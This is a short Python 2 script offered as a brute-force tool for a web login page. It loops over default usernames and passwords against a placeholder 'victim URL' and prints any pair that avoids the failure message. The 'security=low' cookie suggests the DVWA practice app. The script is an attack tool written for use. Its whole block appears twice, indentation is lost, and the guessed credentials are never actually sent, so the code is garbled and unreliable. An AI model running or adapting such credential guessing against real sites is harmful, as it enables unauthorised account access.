import urllib2
users = ("admin", "administrator", "root", "add more usernames")
passwords = ("admin", "administrator", "password", "add pswds")
#make sure to add more users and passwords
for user in users:
for password in passwords:
url = "victim URL" #change to victim url including http://
reg = urllib2.Request(url)
reg.add_header("Cookie", "PHPSESSID=enter cookieid here;security=low")
response = urllib2.urlopen(reg)
html = response.read()
if "enter wrong response" not in html: #change to error message you get when login fails
print "administrator's username and password --- %s : %s" %(user, password)
users = ("admin", "administrator", "root", "add more usernames")
passwords = ("admin", "administrator", "password", "add pswds")
#make sure to add more users and passwords
for user in users:
for password in passwords:
url = "victim URL" #change to victim url including http://
reg = urllib2.Request(url)
reg.add_header("Cookie", "PHPSESSID=enter cookieid here;security=low")
response = urllib2.urlopen(reg)
html = response.read()
if "enter wrong response" not in html: #change to error message you get when login fails
print "administrator's username and password --- %s : %s" %(user, password)